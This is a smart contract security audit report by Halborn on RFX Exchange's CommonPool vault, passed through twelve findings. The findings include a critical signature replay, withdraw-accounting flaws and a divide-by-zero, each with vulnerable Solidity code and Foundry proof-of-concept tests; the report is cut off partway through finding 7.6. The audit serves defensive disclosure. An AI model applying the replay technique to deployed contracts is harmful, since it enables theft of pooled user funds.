Halborn Logo

Common Pool - RFX Exchange


Prepared by:

Halborn Logo

HALBORN

Last Updated 10/02/2024

Date of Engagement by: June 10th, 2024 - June 28th, 2024

Summary

100% of all REPORTED Findings have been addressed

All findings

12

Critical

1

High

0

Medium

1

Low

4

Informational

6


1. Introduction

RFX Exchange engaged Halborn to conduct a security assessment on their smart contracts beginning on June 6th, 2024 and ending on June 28th, 2024. The security assessment was scoped to smart contracts in the GitHub repository provided to the Halborn team. Commit hashes and further details can be found in the Scope section of this report.

The files in scope allow users to participate in a yield aggregator vault that manages positions in the RFX exchange contracts.

2. Assessment Summary

Halborn was provided three weeks for the engagement and assigned one full-time security engineer to review the security of the smart contracts in scope. The engineer is a blockchain and smart contract security expert with advanced penetration testing and smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

    • Identify potential security issues within the smart contracts.

    • Ensure that smart contract functionality operates as intended.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which have been completely addressed by the RFX Exchange team. The main identified issues were the following:

    • Prevent signature replay by including the nonce inside the signed payload

    • Take into account the withdraw requests from the current epoch when transferring shares or requesting new withdrawals

    • Prevent approved spenders to request more withdraws than their allowance specifies

    • Fix the withdraw logic to allow complete withdrawals from the common pool contract

    • Make sure enough liquidity is retrieved before changing epochs

    • Refund unspent ether to the caller during swaps

3. Test Approach and Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the contracts' solidity code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the assessment:

    • Research into architecture and purpose.

    • Smart contract manual code review and walk-through.

    • Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic-related vulnerability classes.

    • Local testing with custom scripts (Foundry).

    • Fork testing against main networks (Foundry).

    • Static analysis of security for scoped contract, and imported functions

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on two sets of Metrics and a Severity Coefficient. This system is inspired by the industry standard Common Vulnerability Scoring System.
The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.
The Severity Coefficients is designed to further refine the accuracy of the ranking with two factors: Reversibility and Scope. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.
The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.
The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

Attack Origin (AO):
Captures whether the attack requires compromising a specific account.
Attack Cost (AC):
Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.
Attack Complexity (AX):
Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.
Metrics:
EXPLOITABILIY METRIC (mem_e)METRIC VALUENUMERICAL VALUE
Attack Origin (AO)Arbitrary (AO:A)
Specific (AO:S)
1
0.2
Attack Cost (AC)Low (AC:L)
Medium (AC:M)
High (AC:H)
1
0.67
0.33
Attack Complexity (AX)Low (AX:L)
Medium (AX:M)
High (AX:H)
1
0.67
0.33
Exploitability EE is calculated using the following formula:

E=meE = \prod m_e

4.2 IMPACT

Confidentiality (C):
Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.
Integrity (I):
Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.
Availability (A):
Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.
Deposit (D):
Measures the impact to the deposits made to the contract by either users or owners.
Yield (Y):
Measures the impact to the yield generated by the contract for either users or owners.
Metrics:
IMPACT METRIC (mIm_I)METRIC VALUENUMERICAL VALUE
Confidentiality (C)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Integrity (I)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Availability (A)None (A:N)
Low (A:L)
Medium (A:M)
High (A:H)
Critical (A:C)
0
0.25
0.5
0.75
1
Deposit (D)None (D:N)
Low (D:L)
Medium (D:M)
High (D:H)
Critical (D:C)
0
0.25
0.5
0.75
1
Yield (Y)None (Y:N)
Low (Y:L)
Medium (Y:M)
High (Y:H)
Critical (Y:C)
0
0.25
0.5
0.75
1
Impact II is calculated using the following formula:

I=max(mI)+mImax(mI)4I = max(m_I) + \frac{\sum{m_I} - max(m_I)}{4}

4.3 SEVERITY COEFFICIENT

Reversibility (R):
Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.
Scope (S):
Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.
Metrics:
SEVERITY COEFFICIENT (CC)COEFFICIENT VALUENUMERICAL VALUE
Reversibility (rr)None (R:N)
Partial (R:P)
Full (R:F)
1
0.5
0.25
Scope (ss)Changed (S:C)
Unchanged (S:U)
1.25
1
Severity Coefficient CC is obtained by the following product:

C=rsC = rs

The Vulnerability Severity Score SS is obtained by:

S=min(10,EIC10)S = min(10, EIC * 10)

The score is rounded up to 1 decimal places.
SeverityScore Value Range
Critical9 - 10
High7 - 8.9
Medium4.5 - 6.9
Low2 - 4.4
Informational0 - 1.9

5. SCOPE

Files and Repository
(a) Repository: common-pool
(c) Items in scope:
  • CommonPool.sol
  • libraries/RFXHelper.sol
  • libraries/MathLite.sol
↓ Expand ↓
Out-of-Scope: Third party dependencies, economic attacks.
Remediation Commit ID:
Out-of-Scope: New features/implementations after the remediation commit IDs.

6. Assessment Summary & Findings Overview

Critical

1

High

0

Medium

1

Low

4

Informational

6

Security analysisRisk levelRemediation Date
Signature does not take all parameters into account and can be reusedCriticalSolved - 09/14/2024
Request withdraw does not take current epoch withdraw requests into accountMediumSolved - 09/14/2024
Approved spenders can request withdraw for more than entitled toLowSolved - 09/14/2024
CommonPool does not allow complete withdrawal of sharesLowSolved - 09/14/2024
Unrestricted epoch transition risks contract solvabilityLowSolved - 09/14/2024
Excess ether is not refundedLowSolved - 09/14/2024
RFXHelper market deduplication gas optimizationInformationalSolved - 09/14/2024
Approving allocation does not increment if approving from the same market twiceInformationalSolved - 09/14/2024
Possible reentrancy in allocateFundsInformationalSolved - 09/14/2024
Missing zero address validation checksInformationalSolved - 09/14/2024
Missing or incomplete eventsInformationalSolved - 09/14/2024
ShareToAssetPrice is not correctInformationalSolved - 09/14/2024

7. Findings & Tech Details

7.1 Signature does not take all parameters into account and can be reused

// Critical

Description

The CommonPool's allocateFunds function accepts a Deposit / Withdraw payload and a corresponding signature (it is a structure made of the signature bytes, an expiration date, and a nonce). The expiration date and the nonce are not factored in the payload prior to the signing event. Therefore, it is possible to modify them: the signature bytes and corresponding payload can be reused for different nonce, and resent with different expiry dates.


Since the signature can be reused, it means that anyone can resubmit the allocateFunds transactions that were already executed, just by finding the signature in the block explorer, and then changing the nonce to fit the currentNonce of the CommonPool. This flaw allows anyone to play with allocateFunds, triggering either or both createDeposit or createWithdrawal in RFX, depending on the payload that corresponds to the signature that is resubmitted.


In the following snippets, we can see that the _input, that is used to verify the signature, only uses the multicall data, not including sig.expiry and sig.orderNonce.

/// @notice Checking report has not expired, for current epoch, and signed by approved signer
// NOTE: This logic needs to be internal for tests and private for prod (contract size)
function checkAllReports(
    ICommonPool.WithdrawTx calldata withdraw,
    ICommonPool.DepositTx calldata deposit,
    uint256 orderNonce
) internal view {
    bytes32 input;

    // Checking deposit report if non-empty
    if (deposit.multicall.position.length != 0) {
        input = keccak256(abi.encode(keccak256(bytes(DEPOSIT_STRUCT)), deposit.multicall));
        checkReport(deposit.sig, input, orderNonce);
    }

    // Checking withdraw report if non-empty
    if (withdraw.multicall.position.length != 0) {
        input = keccak256(abi.encode(keccak256(bytes(WITHDRAW_STRUCT)), withdraw.multicall));
        checkReport(withdraw.sig, input, orderNonce);
    }
}

/// @notice Checking the signature for the payload along with timestamp and epoch
// NOTE: This logic needs to be internal for tests and private for prod (contract size)
function checkReport(ICommonPool.Signature calldata sig, bytes32 input, uint256 orderNonce) internal view {
    // Ensures allocation hasn't expired or been used before
    if (block.timestamp > sig.expiry) revert IErrors.InvalidTimestamp();

    // Ensures the allocation being used isn't being re-submitted
    if (sig.nonce != orderNonce) revert IErrors.InvalidEpoch();

    // Checking the signature for the payload
    bytes32 inputHash = constructHash(input);
    if (!ICommonPool(msg.sender).approvedSigner(ECDSA.recover(inputHash, sig.signature))) {
        revert IErrors.InvalidSignature();
    }
}
Proof of Concept

The following PoC shows that anyone can just modify the orderNonce from the signature and submit it again, here ordering a second deposit from the pool to RFX:

function test_halborn_commonPool_singleDeposit() public {
    // Approving the signer
    commonPool.updateSigner(accountPkOwner, true);

    // Approving the pool address
    address[] memory _addr = new address[](1);
    bool[] memory _bool = new bool[](1);
    _addr[0] = RFX_BTCUSD_MARKET;
    _bool[0] = true;
    commonPool.updateApprovedExternalAddr(_addr, _bool);

    // Configuring the input for deposit
    ICommonPool.DepositTx memory deposit;
    deposit.multicall = _configureDepositMulticall();
    bytes32 _input = keccak256(abi.encode(keccak256(bytes(rfxHelper.DEPOSIT_STRUCT())), deposit.multicall));

    // Dealing the funds require for the deposit (we deposit 1000e8 per deposit)
    deal(BTC_TOKEN_ARB, address(commonPool), 2000e8);

    ICommonPool.Signature memory depositSig;
    depositSig.expiry = uint128(block.timestamp + 1 days);
    depositSig.nonce = uint128(commonPool.orderNonce());
    (depositSig.signature,) = getSignature(commonPool, _input, accountPk);
    deposit.sig = depositSig;

    // Configuring the input for checkReport - empty withdraw tx
    ICommonPool.WithdrawTx memory withdraw;
    uint256 wntTotal = deposit.multicall.sendWnt[0].amount;

    // Allocating funds
    commonPool.allocateFunds{value: wntTotal}(withdraw, deposit);

    // Asserting the outcomes
    (address[] memory activeMarkets,) = commonPool.currentAllocation();
    assertEq(activeMarkets.length, 1);
    assertEq(activeMarkets[0], RFX_BTCUSD_MARKET);
    assertEq(IERC20(BTC_TOKEN_ARB).balanceOf(address(commonPool)), 2000e8 - deposit.multicall.sendToken[0].amount);
    assertEq(commonPool.orderNonce(), 1);

    // Now alice replays the signature and just changes the orderNonce parameter
    address alice = vm.addr(0x123);
    vm.deal(alice, 10e18); // Give alice some ETH
    vm.startPrank(alice);

    depositSig.nonce = uint128(commonPool.orderNonce());
    commonPool.allocateFunds{value: wntTotal}(withdraw, deposit);

    // This didn't revert so alice could successfully replay the signature and deposit, bypassing the signature protection
    assertEq(activeMarkets.length, 1);
    assertEq(activeMarkets[0], RFX_BTCUSD_MARKET);
    assertEq(IERC20(BTC_TOKEN_ARB).balanceOf(address(commonPool)), 2000e8 - 2 * deposit.multicall.sendToken[0].amount);
    assertEq(commonPool.orderNonce(), 2);
}

The following figure shows that the signature replay succeeded:

PoC result
BVSS
Recommendation

It is recommended to factor orderNonce and expiryDate in the payload to be signed.

Remediation

SOLVED: the RFX Exchange team solved this issue by getting rid of the signature in favor of an access control on the vulnerable function.

Remediation Hash

7.2 Request withdraw does not take current epoch withdraw requests into account

// Medium

Description

The current implementation allows users to make withdraw requests for future epochs without properly accounting for pending withdrawals in the current epoch. This can result in a situation where the total withdraw requests exceed the user's actual balance.


The following snippet shows that the totalSharesBeingWithdrawn function only checks next epoch's withdraw requests:

function requestWithdraw(uint256 shares, address owner) public {
    if (msg.sender != owner && shares > allowance[owner][msg.sender]) {
        revert IErrors.NotAllowed();
    }
    if (totalSharesBeingWithdrawn(owner) + shares > balanceOf[owner]) {
        revert IErrors.BalanceExceeded();
    }

    uint256 unlockEpoch = currentEpoch + 1;
    withdrawRequests[owner][unlockEpoch] += shares;
    totalWithdrawRequests[unlockEpoch] += shares;

    emit WithdrawRequested(msg.sender, owner, shares, currentEpoch, unlockEpoch);
}

function totalSharesBeingWithdrawn(address owner) public view returns (uint256 shares) {
    return withdrawRequests[owner][currentEpoch + 1];
}

Example scenario:

  • At epoch 0, a user with 1000 shares requests to withdraw 1000 shares for the next epoch (epoch 1).

  • In epoch 1, without withdrawing, the user requests another 1000 shares withdrawal for the following epoch (epoch 2).

  • The contract allows this second request because it only checks the sum of current requests (0 for epoch 2) and the new request (1000) against the user's balance (1000).

  • Now the contract shows withdraw requests of 1000 shares for both epoch 1 and epoch 2, despite the user only having 1000 shares total.


This leads to state discrepancies, wrong availableBalance (the function does not account for funds that can be withdrawn in the current epoch, leading to inaccurate reporting), and potential confusions misleading administrators about the actual funds needed for withdrawals.


While this discrepancy exists, the contract does prevent users from withdrawing more than they own. Any attempt to withdraw beyond the user's actual balance will fail.

Proof of Concept

The following PoC shows that Alice can request withdraws in two epochs, although she cannot withdraw more than entitled to, this can give a wrong signal to the administrator that will want to make sure that enough funds are necessary to withdraw. Additionally, it also shows that the availableAssets() function does not take into account the funds that can be withdrawn in the current epoch.

function test_halborn_commonPool_withdraw() public {
    uint256 deposit_amount = 100e6;
    uint256 expected_shares_amount_after_deposit = deposit_amount;
    uint256 withdraw_amount = expected_shares_amount_after_deposit;
    address alice = vm.addr(0xA11CE);
    address bob = vm.addr(0xB0B);
    uint256 lastEpoch = 0; // will update later
    uint256 currentEpoch = commonPool.currentEpoch();
    uint256 nextEpoch = currentEpoch + 1;
    uint256 totalPoolAssetsAfterDeposit = 0;
    uint256 availableAssetsAfterWithdrawRequest = 0;
    uint256 balanceOfCommonPool = 0;

    // ------------------ First Epoch ------------------
    // Alice and Bob deposit 100e6 USDC each into the pool
    // -------------------------------------------------

    // This deals USDC tokens, approve and deposit into the CommonPool
    vm.startPrank(alice);
    _depositIntoPool(commonPool, USDC_TOKEN_ARB, deposit_amount, alice, alice);
    assertEq(commonPool.balanceOf(alice), expected_shares_amount_after_deposit);
    vm.startPrank(bob);
    _depositIntoPool(commonPool, USDC_TOKEN_ARB, deposit_amount, bob, bob);
    console2.log(""[+] Alice and Bob deposited 100e6 USDC each into the pool"");

    balanceOfCommonPool = IERC20(USDC_TOKEN_ARB).balanceOf(address(commonPool));
    console2.log(""[+] CommonPool has "", balanceOfCommonPool, "" USDC"");
    assertEq(balanceOfCommonPool, deposit_amount * 2);

    // Warp to next epoch so that nav is updated
    assertEq(commonPool.totalAssets(), 0); // Assets are 0 even though we deposited because we need to wait for the NAV update through swapExcessAndRecalculate
    vm.warp(block.timestamp + commonPool.EPOCH_DURATION() + 1);
    commonPool.endCurrentEpoch();
    lastEpoch = currentEpoch;
    currentEpoch = commonPool.currentEpoch();
    nextEpoch = currentEpoch + 1;
    console2.log(""[+] Epoch ended after the EPOCH_DURATION"");
    // No need to send more USDC since we deposited 200 already, and we dont change epoch since we did that already
    vm.startPrank(address(this));
    _setPoolValue(commonPool, deposit_amount * 2, false); // We still specify 2*deposit because there is a vm.deal that sets the amount as the balance
    console2.log(commonPool.totalAssets());
    vm.startPrank(alice);

    // ------------------ Second Epoch ------------------
    // Alice requests a withdraw of 100e6 USDC
    // -------------------------------------------------

    // Let's see the available assets in the pool
    totalPoolAssetsAfterDeposit = commonPool.totalAssets();
    console2.log(""[+] CommonPool has "", totalPoolAssetsAfterDeposit, "" total assets (USDC)"");
    assertEq(commonPool.availableAssets(), totalPoolAssetsAfterDeposit);
    console2.log(""[+] CommonPool has "", totalPoolAssetsAfterDeposit, "" available assets (USDC)"");

    // Alice tries to withdraw and that fails because she didn't request a withdraw
    vm.startPrank(alice);
    vm.expectRevert();
    commonPool.withdraw(withdraw_amount, alice, alice);
    console2.log(""[+] Alice cannot withdraw without requesting a withdraw"");

    // Alice cannot withdraw more shares than she has
    vm.expectRevert();
    commonPool.requestWithdraw(expected_shares_amount_after_deposit + 1, alice);
    console2.log(""[+] Alice cannot withdraw more shares than she has"");

    // Alice requests a withdraw
    commonPool.requestWithdraw(withdraw_amount, alice);
    console2.log(""[+] Alice requested a withdraw"");

    // Make sure commonPool.withdrawRequests[owner][nextEpoch] is withdraw_amount
    assertEq(commonPool.withdrawRequests(alice, nextEpoch), withdraw_amount);
    assertEq(commonPool.totalWithdrawRequests(nextEpoch), withdraw_amount);
    console2.log(""[+] Alice's withdraw request is in the next epoch"");
    availableAssetsAfterWithdrawRequest = commonPool.availableAssets();
    console2.log(""[+] CommonPool has "", availableAssetsAfterWithdrawRequest, "" available assets (USDC)"");

    // Alice cannot end epoch just now (admin can)
    vm.expectRevert();
    commonPool.endCurrentEpoch();
    console2.log(""[+] Alice cannot end epoch just now"");

    // Warp to next epoch
    vm.warp(block.timestamp + commonPool.EPOCH_DURATION() + 1);
    commonPool.endCurrentEpoch();
    lastEpoch = currentEpoch;
    currentEpoch = commonPool.currentEpoch();
    nextEpoch = currentEpoch + 1;
    console2.log(""[+] Epoch ended after the EPOCH_DURATION"");

    // ------------------ Third Epoch ------------------
    // Alice withdraws 100e6 USDC
    // Bob requests a withdraw of 100e6 USDC
    // -------------------------------------------------

    // This should be the same as the previous epoch, but it is not because the current withdraws are not taken into account
    assertNotEq(commonPool.availableAssets(), availableAssetsAfterWithdrawRequest); // <------------------------THIS SHOULD BE FAILING

    // Let's see the available assets in the pool
    console2.log(""[+] CommonPool has "", commonPool.totalAssets(), "" total assets (USDC)"");
    console2.log(""[+] CommonPool has "", commonPool.availableAssets(), "" available assets (USDC)"");

    // No need to send more USDC since we deposited 200 already, and we dont change epoch since we did that already
    vm.startPrank(address(this));
    _setPoolValue(commonPool, deposit_amount * 2, false); // We still specify 2*deposit because there is a vm.deal that sets the amount as the balance
    console2.log(commonPool.totalAssets());
    vm.startPrank(alice);

    // Check that the withdraw request is still there
    assertEq(commonPool.withdrawRequests(alice, currentEpoch), withdraw_amount);
    assertEq(commonPool.totalWithdrawRequests(currentEpoch), withdraw_amount);
    console2.log(""[+] Alice's withdraw request is now in the current epoch"");

    // Alice cannot withdraw more shares than she has
    vm.expectRevert();
    commonPool.withdraw(expected_shares_amount_after_deposit + 1, alice, alice);
    console2.log(""[+] Alice cannot withdraw more shares than she has"");

    // Now we show that alice can still ask another withdraw even though she has one pending
    commonPool.requestWithdraw(withdraw_amount, alice);
    console2.log(""[+] Alice requested another withdraw (but she already has one pending)"");

    // Bob can also ask for a withdraw
    vm.startPrank(bob);
    commonPool.requestWithdraw(withdraw_amount, bob);
    vm.startPrank(alice);
    console2.log(""[+] Bob also requested a withdraw"");

    // Show the new withdraw request is in the next epoch
    assertEq(commonPool.withdrawRequests(alice, currentEpoch), withdraw_amount);
    assertEq(commonPool.withdrawRequests(bob, currentEpoch), 0);
    assertEq(commonPool.withdrawRequests(alice, nextEpoch), withdraw_amount);
    assertEq(commonPool.withdrawRequests(bob, nextEpoch), withdraw_amount);
    assertEq(commonPool.totalWithdrawRequests(currentEpoch), withdraw_amount);
    assertEq(commonPool.totalWithdrawRequests(nextEpoch), withdraw_amount * 2);
    console2.log(""[+] Alice's has now a withdraw request in the current and next epoch, Bob only in the next epoch"");

    // She now withdraws
    commonPool.withdraw(withdraw_amount, alice, alice);
    console2.log(""[+] Alice withdrew"");

    // Check that she has no more shares and that she has USDC
    assertEq(commonPool.balanceOf(alice), 0);
    assertEq(IERC20(USDC_TOKEN_ARB).balanceOf(alice), deposit_amount);

    // Spend another epoch
    vm.warp(block.timestamp + commonPool.EPOCH_DURATION() + 1);
    commonPool.endCurrentEpoch();
    lastEpoch = currentEpoch;
    currentEpoch = commonPool.currentEpoch();
    nextEpoch = currentEpoch + 1;
    console2.log(""[+] Epoch ended after the EPOCH_DURATION"");

    // Alice tries to withdraw but she cannot
    vm.expectRevert();
    commonPool.withdraw(withdraw_amount, alice, alice);
    console2.log(""[+] Alice cannot withdraw because she already withdrew and has no more shares"");
}

The following figure shows that it was possible to request multiple withdraws:

PoC result
BVSS
Recommendation

It is recommended to take the current epoch withdraw requests into account when deciding whether the user can add another withdraw request, and when wanting to transfer.

Remediation

SOLVED: the RFX Exchange team solved this issue by getting rid of the epoch system and using ERC7540 standard for async redeem/withdraw requests.

Remediation Hash

7.3 Approved spenders can request withdraw for more than entitled to

// Low

Description

The current implementation of the CommonPool contract allows approved spenders to request withdrawals on behalf of the owner. However, the contract only checks if the requested amount is lower than the allowance for each individual request, without keeping track of the cumulative amount requested. This oversight enables spenders to call the withdraw request function multiple times, potentially exceeding their initial allowance.


The following snippet shows that the allowance variable is checked without being updated:

function requestWithdraw(uint256 shares, address owner) public {
    if (msg.sender != owner && shares > allowance[owner][msg.sender]) {
        revert IErrors.NotAllowed();
    }
    if (totalSharesBeingWithdrawn(owner) + shares > balanceOf[owner]) {
        revert IErrors.BalanceExceeded();
    }

    uint256 unlockEpoch = currentEpoch + 1;
    withdrawRequests[owner][unlockEpoch] += shares;
    totalWithdrawRequests[unlockEpoch] += shares;

    emit WithdrawRequested(msg.sender, owner, shares, currentEpoch, unlockEpoch);
}

As a result, total withdraw requests for a user can be artificially inflated, and it could lead to confusion about the actual intended withdrawals and complicate the withdrawal process


Scenario:

  • An owner (e.g., Alice) approves a spender (e.g., Bob) to request a withdrawal of a specific amount (e.g., 10e6 USDC).

  • The spender (Bob) can then call the requestWithdraw function multiple times, each time requesting up to the allowed amount.

  • The contract allows these multiple requests without decrementing the allowance or tracking the total requested amount.


While this vulnerability allows for inflated withdraw requests, the contract still prevents actual withdrawals beyond the user's balance because the shares burn attempt will revert if the caller does not have enough shares.

Proof of Concept

The following PoC shows that bob could request 20e6 withdraw requests even though his allowance was only 10e6:

function test_halborn_commonPool_requestWithdraw() public {
    uint256 deposit_amount = 100e6;
    uint256 expected_shares_amount_after_deposit = deposit_amount;
    uint256 withdraw_amount = expected_shares_amount_after_deposit;
    address alice = vm.addr(0xA11CE);
    address bob = vm.addr(0xB0B);
    uint256 lastEpoch = 0; // will update later
    uint256 currentEpoch = commonPool.currentEpoch();
    uint256 nextEpoch = currentEpoch + 1;
    uint256 totalPoolAssetsAfterDeposit = 0;
    uint256 availableAssetsAfterWithdrawRequest = 0;
    uint256 balanceOfCommonPool = 0;
    uint256 allowanceAmount = 10e6;

    // ------------------ First Epoch ------------------
    // Alice and Bob deposit 100e6 USDC each into the pool
    // -------------------------------------------------

    // This deals USDC tokens, approve and deposit into the CommonPool
    vm.startPrank(alice);
    _depositIntoPool(commonPool, USDC_TOKEN_ARB, deposit_amount, alice, alice);
    assertEq(commonPool.balanceOf(alice), expected_shares_amount_after_deposit);
    vm.startPrank(bob);
    _depositIntoPool(commonPool, USDC_TOKEN_ARB, deposit_amount, bob, bob);
    console2.log(""[+] Alice and Bob deposited 100e6 USDC each into the pool"");

    balanceOfCommonPool = IERC20(USDC_TOKEN_ARB).balanceOf(address(commonPool));
    console2.log(""[+] CommonPool has "", balanceOfCommonPool, "" USDC"");
    assertEq(balanceOfCommonPool, deposit_amount * 2);

    // Warp to next epoch so that nav is updated
    assertEq(commonPool.totalAssets(), 0); // Assets are 0 even though we deposited because we need to wait for the NAV update through swapExcessAndRecalculate
    vm.warp(block.timestamp + commonPool.EPOCH_DURATION() + 1);
    commonPool.endCurrentEpoch();
    lastEpoch = currentEpoch;
    currentEpoch = commonPool.currentEpoch();
    nextEpoch = currentEpoch + 1;
    console2.log(""[+] Epoch ended after the EPOCH_DURATION"");
    // No need to send more USDC since we deposited 200 already, and we dont change epoch since we did that already
    vm.startPrank(address(this));
    _setPoolValue(commonPool, deposit_amount * 2, false); // We still specify 2*deposit because there is a vm.deal that sets the amount as the balance
    console2.log(commonPool.totalAssets());
    vm.startPrank(alice);

    // ------------------ Second Epoch ------------------
    // Alice approves bob to request 10e6 USDC for her
    // -------------------------------------------------

    commonPool.approve(bob, allowanceAmount);
    console2.log(""[+] Alice approved Bob to request 10e6 USDC for her"");

    // Bob requests 10e6 USDC for Alice
    vm.startPrank(bob);
    commonPool.requestWithdraw(allowanceAmount, alice);
    console2.log(""[+] Bob requested 10e6 USDC for Alice"");

    // Alice approves the request
    assertEq(commonPool.withdrawRequests(alice, nextEpoch), allowanceAmount);
    console2.log(""[+] There are 10e6 USDC requested for Alice in the next epoch"");

    // But bob can still request again
    commonPool.requestWithdraw(allowanceAmount, alice);
    assertEq(commonPool.withdrawRequests(alice, nextEpoch), allowanceAmount * 2);
    console2.log(""[+] Bob requested another 10e6 USDC for Alice, the total request is now 20e6 USDC"");

}
BVSS
Recommendation

It is recommended to keep track of the allowances used for the withdraw requests.

Remediation

SOLVED: the RFX Exchange team solved this issue by implementing the ERC7540 standard and decreasing the allowance immediately in the requestRedeem function.

Remediation Hash

7.4 CommonPool does not allow complete withdrawal of shares

// Low

Description

The last withdrawal of shares will trigger a division by 0 in _scaleVariables, and revert the transaction, meaning that it will fail to retrieve the wanted amount. It is however possible to leave 1 share into the contract and withdraw the rest.


In the following snippet, we can see that supply - shares would be 0 when trying to withdraw the last shares.

function _scaleVariables(uint256 shares, bool isDeposit) internal {
    uint256 supply = totalSupply;
    shareToAssetPrice = (shareToAssetPrice * supply) / (isDeposit ? supply + shares : supply - shares);
}
Proof of Concept

The following PoC shows that Alice cannot withdraw her whole shares from the contract.

function test_halborn_withdrawAllAssets() public {
    uint256 arbitrary_amount = 1000e6;
    uint256 alice_amount = 1000e6;
    uint256 alice_expected_shares = alice_amount;
    address alice = vm.addr(0xA11CE);
    address bob = vm.addr(0xB0B);
    address from = address(this);

    // Someone sends 1000e6 USDC to the pool before any deposit
    deal(USDC_TOKEN_ARB, address(commonPool), arbitrary_amount);
    assertEq(IERC20(USDC_TOKEN_ARB).balanceOf(address(commonPool)), arbitrary_amount);


    // Dealing USDC to address(this), approving, and depooositing into the pool
    deal(USDC_TOKEN_ARB, alice, alice_amount);
    vm.startPrank(alice);
    IERC20(USDC_TOKEN_ARB).approve(address(commonPool), alice_amount);
    commonPool.deposit(alice_amount, alice);
    

    // Warp to next epoch so that nav is updated
    assertEq(commonPool.totalAssets(), 0); // Assets are 0 even though we deposited because we need to wait for the NAV update through swapExcessAndRecalculate
    vm.warp(block.timestamp + commonPool.EPOCH_DURATION() + 1);
    uint256 lastEpoch = commonPool.currentEpoch();
    commonPool.endCurrentEpoch();
    uint256 currentEpoch = commonPool.currentEpoch();
    uint256 nextEpoch = currentEpoch + 1;
    console2.log(""[+] Epoch ended after the EPOCH_DURATION"");
    vm.startPrank(address(this));
    _setPoolValue(commonPool, arbitrary_amount + alice_amount, false);
    console2.log(commonPool.totalAssets());
    vm.startPrank(alice);

    // Dealing USDC to address(this), approving, and depooositing into the pool
    deal(USDC_TOKEN_ARB, alice, alice_amount);
    vm.startPrank(alice);
    IERC20(USDC_TOKEN_ARB).approve(address(commonPool), alice_amount);
    commonPool.deposit(alice_amount, alice);

    // Ensuring outcomes
    assertEq(IERC20(USDC_TOKEN_ARB).balanceOf(address(commonPool)), 3000e6);
    assertEq(IERC20(USDC_TOKEN_ARB).balanceOf(alice), 0);
    assertEq(commonPool.balanceOf(alice), 1500e6);

    commonPool.requestWithdraw(1500e6, alice);

    // Warp to next epoch so that nav is updated
    assertEq(commonPool.totalAssets(), 2000e6);
    vm.warp(block.timestamp + commonPool.EPOCH_DURATION() + 1);
    commonPool.endCurrentEpoch();
    vm.startPrank(address(this));
    _setPoolValue(commonPool, arbitrary_amount + 2 * alice_amount, false);
    assertEq(commonPool.totalAssets(), 3000e6);
    console2.log(commonPool.totalAssets());
    vm.startPrank(alice);

    // Alice withdraw all her shares
    commonPool.withdraw(3000e6, alice, alice); // This fails because of a divide by 0 error in the withdraw function due to scaleVariables
}
BVSS
Recommendation

It is recommended to fix the _scaleVariables function in order to allow complete withdrawal of all shares.

Remediation

SOLVED: the RFX Exchange team solved this issue by separately handling the case where finalSupply is zero.

Remediation Hash

7.5 Unrestricted epoch transition risks contract solvability

// Low

Description

Anyone is able to call endEpoch function, once the EPOCH_DURATION is over, triggering the next epoch start. The consequence is that all programmed withdrawals will now be enabled, whether there is or not sufficient liquidity on the contract. Users may or may not be able to withdraw in that case.


There is no access control on that function, neither guarantees that the contract has enough liquidity to allow all approved withdrawals:

function endCurrentEpoch() external {
    if (block.timestamp <= lastEpochUpdate + EPOCH_DURATION) {
        revert IErrors.EpochInProg();
    }
    _endCurrentEpoch();
}
BVSS
Recommendation

It is recommended to restrict access to the function or to assert sufficient liquidity on the contract to allow increasing the epoch.

Remediation

SOLVED: the RFX Exchange team solved this issue by removing the epoch feature.

Remediation Hash

7.6 Excess ether is not refunded

// Low

Description

The swapExcessAndRecalculate function in the CommonPool contract accepts Ether, designed to update the Pyth oracle and perform a swap action. However, any excess Ether value that is not used for these operations is not refunded to the sender. Instead, this excess value becomes stuck in the SwapModule contract.


The SwapModule contract also does not verify that the sent Ether value is exactly equal to the required sendWnt amount. This lack of verification adds up to the problem of excess Ether retention.


The following snippet shows the implementation swapExcessAndRecalculate that does not feature an Ether refund:

function swapExcessAndRecalculate(
    bytes[] memory _swapInput,
    bytes[] calldata _pythUpdateData,
    bool _endEpoch,
    IOracle.SetPricesParams memory _oracleParams
) public payable onlyOwner withOraclePrices(_oracleParams) {
    // Updating pyth price for USDC
    uint256 updateFee = pyth.getUpdateFee(_pythUpdateData);
    pyth.updatePriceFeeds{value: updateFee}(_pythUpdateData);

    if (_swapInput.length > 0) {
        // Approving the tokens and slicing the input bytes linked to approval
        _swapInput = _approveSpending(_swapInput);
        // Swapping via the swapModule
        swapModule.swap{value: msg.value - updateFee}(_swapInput);
    }

    // Updating the accounting - navValue is in the deposit token
    address depositAsset = address(asset);
